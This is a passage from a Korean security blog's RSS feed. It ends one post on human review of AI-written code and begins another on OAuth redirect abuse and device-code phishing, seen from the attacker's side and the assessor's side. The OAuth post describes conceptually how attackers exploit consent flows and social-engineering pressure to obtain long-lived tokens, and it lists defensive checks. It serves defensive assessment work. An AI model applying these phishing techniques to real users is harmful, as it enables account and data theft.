&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 잊지말아야할 원칙&lt;/b&gt;&lt;/h2&gt;
&lt;p data-end=&quot;8170&quot; data-start=&quot;7987&quot; data-ke-size=&quot;size16&quot;&gt;모든 코드는 AI가 제안할 수는 있어도, 최종 판단 책임까지 대신할 수는 없다.&lt;br /&gt;특히 중요한 판단 로직은 반드시 사람이 직접 리뷰를 거쳐 승인해야 한다. 필자는 항상 별도의 검토 단계를 둔다. 기능적으로 동작하더라도 정책 위반 가능성, 예외 처리 누락, 로그 오염 가능성은 추가적인 인적 검토가 필요하기 때문이다.&lt;/p&gt;
&lt;p data-end=&quot;8306&quot; data-start=&quot;8172&quot; data-ke-size=&quot;size16&quot;&gt;이 원칙이 없는 팀은 초반에는 빠르게 움직이는 것처럼 보여도, 결국 리뷰나 수동검증 시점에서 다시 처음으로 되돌아가는 경우가 많다.&lt;br /&gt;속도를 높이고 싶다면 오히려 검증 단계를 더 명확하게 분리해야 한다. 그것이 장기적으로 가장 빠른 방법이다.&lt;/p&gt;
&lt;p data-end=&quot;8306&quot; data-start=&quot;8172&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;8306&quot; data-start=&quot;8172&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. References&lt;/b&gt;&lt;/h2&gt;
&lt;p data-end=&quot;8306&quot; data-start=&quot;8172&quot; data-ke-size=&quot;size16&quot;&gt;작업을 하면서 참고한 좋은 아티클들이다.&lt;/p&gt;
&lt;p data-end=&quot;8306&quot; data-start=&quot;8172&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://claudeguide-dv5ktqnq.manus.space/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://claudeguide-dv5ktqnq.manus.space/&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://code.claude.com/docs/en/best-practices&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://code.claude.com/docs/en/best-practices&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1773150744590&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Best Practices for Claude Code - Claude Code Docs&quot; data-og-description=&quot;Tips and patterns for getting the most out of Claude Code, from configuring your environment to scaling across parallel sessions.&quot; data-og-host=&quot;code.claude.com&quot; data-og-source-url=&quot;https://code.claude.com/docs/en/best-practices&quot; data-og-url=&quot;https://code.claude.com/docs/en/best-practices&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/jaw97/dJMb9iIFmiK/1QKmZBIhi3yy5T9RZcKj6k/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/b7vxmM/dJMb8ZvzIoy/mPzigKqsh1tHouznN8klB1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://code.claude.com/docs/en/best-practices&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://code.claude.com/docs/en/best-practices&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/jaw97/dJMb9iIFmiK/1QKmZBIhi3yy5T9RZcKj6k/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/b7vxmM/dJMb8ZvzIoy/mPzigKqsh1tHouznN8klB1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Best Practices for Claude Code - Claude Code Docs&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Tips and patterns for getting the most out of Claude Code, from configuring your environment to scaling across parallel sessions.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;code.claude.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1773150748042&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Claude Code 마스터 가이드 2026 &amp;mdash; 실전 꿀팁 &amp;amp; 워크플로우 완전 정복&quot; data-og-description=&quot;AI와 함께 코딩하는 새로운 패러다임. 28개 섹션, 120+ 실전 팁, Agent Teams&amp;middot;Hooks&amp;middot;보안 체크리스트까지 &amp;mdash; Claude Code의 모든 것.&quot; data-og-host=&quot;claudeguide-dv5ktqnq.manus.space&quot; data-og-source-url=&quot;https://claudeguide-dv5ktqnq.manus.space/&quot; data-og-url=&quot;https://claudeguide-dv5ktqnq.manus.space&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cHPs5W/dJMb83Sg4jP/34GrJXFliE7pmMFO1YoAqk/img.png?width=1236&amp;amp;height=620&amp;amp;face=0_0_1236_620,https://scrap.kakaocdn.net/dn/PmUyC/dJMb8U8RSIj/xbtKGkp6IvmiaWHZI603uk/img.png?width=1236&amp;amp;height=620&amp;amp;face=0_0_1236_620&quot;&gt;&lt;a href=&quot;https://claudeguide-dv5ktqnq.manus.space/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://claudeguide-dv5ktqnq.manus.space/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cHPs5W/dJMb83Sg4jP/34GrJXFliE7pmMFO1YoAqk/img.png?width=1236&amp;amp;height=620&amp;amp;face=0_0_1236_620,https://scrap.kakaocdn.net/dn/PmUyC/dJMb8U8RSIj/xbtKGkp6IvmiaWHZI603uk/img.png?width=1236&amp;amp;height=620&amp;amp;face=0_0_1236_620');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code 마스터 가이드 2026 &amp;mdash; 실전 꿀팁 &amp;amp; 워크플로우 완전 정복&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;AI와 함께 코딩하는 새로운 패러다임. 28개 섹션, 120+ 실전 팁, Agent Teams&amp;middot;Hooks&amp;middot;보안 체크리스트까지 &amp;mdash; Claude Code의 모든 것.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;claudeguide-dv5ktqnq.manus.space&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Side Project/AI Powered</category>
      <category>바이브 코딩</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/316</guid>
      <comments>https://gomguk.tistory.com/316#entry316comment</comments>
      <pubDate>Fri, 20 Mar 2026 07:35:34 +0900</pubDate>
    </item>
    <item>
      <title>[OAuth] 인증/디바이스 토큰 탈취 취약점 다시 보기</title>
      <link>https://gomguk.tistory.com/317</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;공격자 관점과 취약점 진단 관점에서 다시 보기&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Summary&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;최근 OAuth 계열 공격은 더 이상 단순한 계정 탈취 문제로 보기 어렵다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실제 공격자의 목표는 아이디&amp;middot;비밀번호 자체보다, &lt;b&gt;사용자 동의와 권한 위임 구조를 이용해 장기적인 API 접근권한을 확보하는 것&lt;/b&gt;에 가깝다. 그래서 방어도 인증 강도만 높인다고 해결되지 않으며, 결국 핵심은 &lt;b&gt;누가 어떤 애플리케이션에 어떤 범위의 권한을 넘겼는지 검증하고 통제하는 체계&lt;/b&gt;에 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;1. 반복되는 주제, 하지만 다시 보게 된 배경&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;795&quot; data-start=&quot;610&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;취약점 진단 업무를 하다 보면, 한동안은 인증 우회나 세션 하이재킹처럼 비교적 익숙한 공격 시나리오에 시선이 머무르기 쉽습니다. 저 역시 실무 초반에는 &amp;ldquo;계정을 직접 탈취가능한가&amp;rdquo;, &amp;ldquo;로그인 계정의 식별이 가능한가&amp;rdquo; 같은 포인트에 집중하는 편이었습니다. 그런데 최근 몇 년간 OAuth 관련 사례를 계속 따라가면서 생각이 많이 바뀌었습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;1051&quot; data-start=&quot;797&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;OAuth 기반 공격은 겉으로 보기에는 정상 인증 흐름을 따르는 것처럼 보입니다. 사용자는 실제 로그인 페이지를 보고, 실제 동의 화면을 보고, 실제 코드 입력 절차를 수행합니다. 이 때문에 보안 담당자나 진단가가 피상적으로 보면 &amp;ldquo;사용자가 속았다&amp;rdquo; 정도로 정리해버리기 쉽습니다. 하지만 조금만 깊게 들여다보면 문제의 본질은 단순 피싱이 아니라, &lt;b&gt;정상적인 권한 위임 절차가 공격자에게 유리하게 악용될 수 있도록 설계&amp;middot;운영되고 있다는 점&lt;/b&gt;에 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;1101&quot; data-start=&quot;1053&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;작년부터 2026년 초까지 공개된 여러 사례를 보면 흐름은 크게 두 갈래로 정리됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;1249&quot; data-start=&quot;1103&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;첫째는 &lt;b&gt;OAuth 리디렉션 남용&lt;/b&gt;입니다. 정상 IDP(예: Entra ID, Google Workspace)의 리디렉션 흐름을 교묘하게 이용해 사용자를 공격자 측 컨트롤 구간으로 유도하고, 그 과정에서 인증 또는 동의 단계를 은닉하거나 왜곡하는 방식입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;1417&quot; data-start=&quot;1251&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;둘째는 &lt;b&gt;디바이스 코드 피싱(Device Code Phishing)&lt;/b&gt; 입니다. Device Authorization Grant 자체는 합법적인 인증 절차이지만, 사용자가 코드를 입력하게 만드는 사회공학적 흐름이 결합되면 공격자는 비밀번호를 직접 몰라도 권한 있는 토큰 확보를 노릴 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;1687&quot; data-start=&quot;1419&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 두 유형은 세부 기법은 다르지만, 공격자의 목표는 상당히 유사합니다. 결국 공격자가 원하는 것은 &amp;ldquo;로그인 성공&amp;rdquo;이 아니라 &lt;b&gt;API 호출권한과 지속성&lt;/b&gt;입니다. 즉, 비밀번호를 바꾸거나 MFA를 다시 설정하지 않아도 일정 기간 자산 접근을 유지할 수 있는 상태가 더 가치 있습니다. 실무에서는 이 점이 매우 중요합니다. 많은 조직이 여전히 인증 실패와 이상 로그인에만 시선을 두는데, 실제 피해는 그 이후의 &lt;b&gt;동의된 권한과 토큰 지속성&lt;/b&gt;에서 커지는 경우가 많기 때문입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;2. 공격자 관점에서의 주요사항&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1797&quot; data-start=&quot;1719&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 유형을 공격자 관점으로 다시 분석해보면, 가장 먼저 보이는 것은 &lt;b&gt;완전한 계정 지배보다 권한 유지가 더 중요해졌다는 점&lt;/b&gt;입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;2025&quot; data-start=&quot;1799&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;보통 사용자는 의심스러운 로그인 알림이나 MFA 알림에는 어느 정도 민감하게 반응합니다. 하지만 이미 특정 애플리케이션에 고권한 동의를 해버렸거나, 디바이스 코드 절차를 통해 장기 토큰 발급이 가능한 상태라면, 비밀번호를 바꾼 뒤에도 공격 흔적이 바로 사라지지 않을 수 있습니다. 공격자는 계정 그 자체를 소유하지 않더라도, 실질적으로는 메일&amp;middot;파일&amp;middot;조직 데이터에 접근 가능한 권한 창구를 확보하게 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;2307&quot; data-start=&quot;2027&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;또 하나 흥미로운 지점은 &lt;b&gt;OAuth 리디렉션 악용이 사용자 경험(UX)에 대한 신뢰를 이용한다는 것&lt;/b&gt;입니다. 사용자는 이미 대기업 로그인 화면, 조직 인증 페이지, 동의 화면에 익숙합니다. 그래서 URL 파라미터의 미세한 차이나 redirect 조합, state 값의 비정상성을 스스로 판별하기 어렵습니다. 공격자는 이 점을 압니다. 그래서 피싱 페이지를 완전히 위조하기보다, 오히려 정상 플로우에 최대한 올라타려 합니다. 사용자가 &amp;ldquo;보던 화면&amp;rdquo;을 보게 만드는 쪽이 훨씬 효율적이기 때문입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;2614&quot; data-start=&quot;2309&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;디바이스 코드 피싱도 같은 맥락입니다. 표면적으로는 사용자가 정식 인증 절차를 수행하는 것처럼 보입니다. 공격자는 여기에 시간 압박, 반복 안내, 보조 메일, QR 코드, 긴급 업무 요청 같은 요소를 덧붙여 정상 흐름처럼 포장합니다. 제가 이 부분을 특히 위험하다고 보는 이유는, 많은 사용자 교육이 아직도 &amp;ldquo;비밀번호를 입력하지 마라&amp;rdquo; 수준에 머물러 있기 때문입니다. 그런데 디바이스 코드 피싱은 사용자가 비밀번호를 직접 넘기지 않아도 성립할 수 있습니다. 사용자는 오히려 &amp;ldquo;안전하게 공식 페이지에서 코드만 입력했다&amp;rdquo;고 생각할 가능성도 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3. 취약점 진단 관점에서 왜 중요한가&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;2721&quot; data-start=&quot;2648&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;진단 실무에서 이 주제가 중요한 이유는, &lt;b&gt;진단 범위를 &amp;lsquo;로그인 보안&amp;rsquo;에서 &amp;lsquo;동의와 권한 위임 보안&amp;rsquo;까지 확장해야 하기 때문&lt;/b&gt;입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;2926&quot; data-start=&quot;2723&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;예전에는 인증 로그, 로그인 실패율, MFA 우회 가능성 같은 것만 점검해도 일정 부분 위협을 설명할 수 있었습니다. 하지만 OAuth 기반 환경에서는 그것만으로는 부족합니다. 누가 어떤 앱을 등록했는지, 어떤 스코프를 요청했는지, 관리자 동의가 개입되었는지, 기존 승인 앱 목록과 실제 업무용 애플리케이션 목록 사이에 어떤 불일치가 있는지까지 함께 봐야 합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;3030&quot; data-start=&quot;2928&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실제 진단이나 사고 분석에서 제가 중요하게 보는 조합은 다음과 같습니다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;&amp;ldquo;새 애플리케이션 등록&amp;rdquo; + &amp;ldquo;과도한 권한 요청&amp;rdquo; + &amp;ldquo;위험 징후가 있는 계정/행위 주체&amp;rdquo;&lt;/b&gt; 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1389&quot; data-origin-height=&quot;940&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Uj5uC/dJMcafFOHkT/K8oecIwOkRfn0Ddm0miWX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Uj5uC/dJMcafFOHkT/K8oecIwOkRfn0Ddm0miWX1/img.png&quot; data-alt=&quot;취약사례&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Uj5uC/dJMcafFOHkT/K8oecIwOkRfn0Ddm0miWX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUj5uC%2FdJMcafFOHkT%2FK8oecIwOkRfn0Ddm0miWX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1389&quot; height=&quot;940&quot; data-origin-width=&quot;1389&quot; data-origin-height=&quot;940&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;취약사례&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-end=&quot;3221&quot; data-start=&quot;3032&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;예를 들어 최근 생성된 앱이 Mail.ReadWrite, Files.ReadWrite.All 같은 권한을 요구하고, 그 승인 시점에 계정 위험도가 높거나 위치&amp;middot;클라이언트가 비정상적이라면, 그건 단순한 설정 이벤트가 아니라 침해 신호일 수 있습니다. 반대로 이러한 이벤트가 남아 있는데도 단순 로그인 성공/실패 관점만 보면 놓치기 쉽습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;3450&quot; data-start=&quot;3223&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;또 하나 자주 느끼는 것은, 많은 조직이 &lt;b&gt;승인된 앱 목록의 관리와 검토를 너무 느슨하게 한다는 점&lt;/b&gt;입니다. 실제 업무에 쓰는 앱은 몇 개 되지 않는데, 환경 안에는 이름이 모호한 앱이 계속 누적되고, 누가 만들었는지도 알지 못하는 경우가 있습니다. 이건 기술적으로도 문제지만 운영적으로도 위험합니다. 결국 OAuth 보안은 설정의 문제가 아니라 &lt;b&gt;권한 위임에 대한 자산관리 문제&lt;/b&gt;이기도 합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;4. 진단 시 먼저 보는 지점&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;3675&quot; data-start=&quot;3485&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실무에서 이 이슈를 검토할 때 우선 로그인만 보지 않고, &lt;b&gt;동의&amp;middot;앱 등록&amp;middot;권한 변경 이벤트를 하나씩 묶어 이용자가 접근하는 시간순으로 재배열&lt;/b&gt;합니다. 이 작업을 해보면 생각보다 많은 것이 보입니다. 로그인 이벤트 하나만 볼 때는 정상처럼 보이던 것도, 그 직전에 앱 등록이 있었고 그 직후 과도한 권한 동의가 이어졌다면 해석이 완전히 달라집니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;3675&quot; data-start=&quot;3485&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1772&quot; data-origin-height=&quot;741&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Hg0t3/dJMcah4HGbZ/keH71GzSLCIRTEcUjDlISk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Hg0t3/dJMcah4HGbZ/keH71GzSLCIRTEcUjDlISk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Hg0t3/dJMcah4HGbZ/keH71GzSLCIRTEcUjDlISk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHg0t3%2FdJMcah4HGbZ%2FkeH71GzSLCIRTEcUjDlISk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1772&quot; height=&quot;741&quot; data-origin-width=&quot;1772&quot; data-origin-height=&quot;741&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-end=&quot;3862&quot; data-start=&quot;3677&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;3862&quot; data-start=&quot;3677&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;그 다음에는 &lt;b&gt;앱 단위 리스크 클러스터링&lt;/b&gt;을 합니다. 최근 생성된 앱 ID, Redirect URI, 요청 권한 스코프, 발급된 토큰 유형을 기준으로 묶어서 보면 이상치가 꽤 잘 드러납니다. 업무용으로 보기 어려운 이름, 비정상적으로 넓은 권한 조합, 조직 내 기준선과 어긋나는 Redirect URI 패턴은 특히 눈여겨봅니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;4122&quot; data-start=&quot;3864&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;리허설 환경이 확보된다면, 가능하면 &lt;b&gt;동의 시나리오를 직접 재현&lt;/b&gt;해보는 편입니다. 여기서 중요한 것은 단순히 &amp;ldquo;로그인이 된다/안 된다&amp;rdquo;가 아니라, 최종적으로 어떤 토큰이 발급되는지, 액세스 토큰인지 리프레시 토큰인지, 어떤 리소스 접근이 가능한지까지 확인하는 것입니다. 보고서 설득력도 이 단계에서 크게 달라집니다. 동의 화면의 스코프, Redirect 흐름, 토큰 유형이 스냅샷과 함께 남아 있으면, 해당 이슈를 설계상 리스크로 설명하기가 훨씬 수월합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;4150&quot; data-start=&quot;4124&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;기술적으로는 다음 항목을 특히 중요하게 봅니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;4150&quot; data-start=&quot;4124&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;4186&quot; data-start=&quot;4152&quot; data-section-id=&quot;8cg61c&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Redirect URI가 exact-match로 강제되는지&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;4214&quot; data-start=&quot;4187&quot; data-section-id=&quot;4k076&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;과도하게 넓은 패턴이나 와일드카드가 허용되는지&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;4276&quot; data-start=&quot;4215&quot; data-section-id=&quot;16wzqwk&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;state, nonce, PKCE가 단순 적용에 그치지 않고 실제 검증까지 정합하게 구현되어 있는지&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;4320&quot; data-start=&quot;4277&quot; data-section-id=&quot;wzjhjh&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;승인된 앱 목록과 실제 업무 애플리케이션 목록 사이에 드리프트가 존재하는지&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;4371&quot; data-start=&quot;4321&quot; data-section-id=&quot;1kpp7j7&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Delegate 권한과 Application 권한이 혼재되며 과도하게 열려 있지 않은지&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;4150&quot; data-start=&quot;4124&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;여기서 특히 state나 PKCE는 &amp;ldquo;설정은 되어 있다&amp;rdquo;는 이유만으로 안심하면 안 됩니다. 실제로는 값이 존재만 하고 검증 로직이 느슨하거나, 커스텀 연동 앱에서 구현이 부분적으로만 적용된 경우가 적지 않습니다. 겉으로 OAuth 보안조치가 들어간 것처럼 보여도, 검증 정합성이 떨어지면 공격 표면은 그대로 남습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;4150&quot; data-start=&quot;4124&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-end=&quot;4150&quot; data-start=&quot;4124&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;4150&quot; data-start=&quot;4124&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;5. 대응방안은 '인증 강화'만으로 충분한가&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-end=&quot;4150&quot; data-start=&quot;4124&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
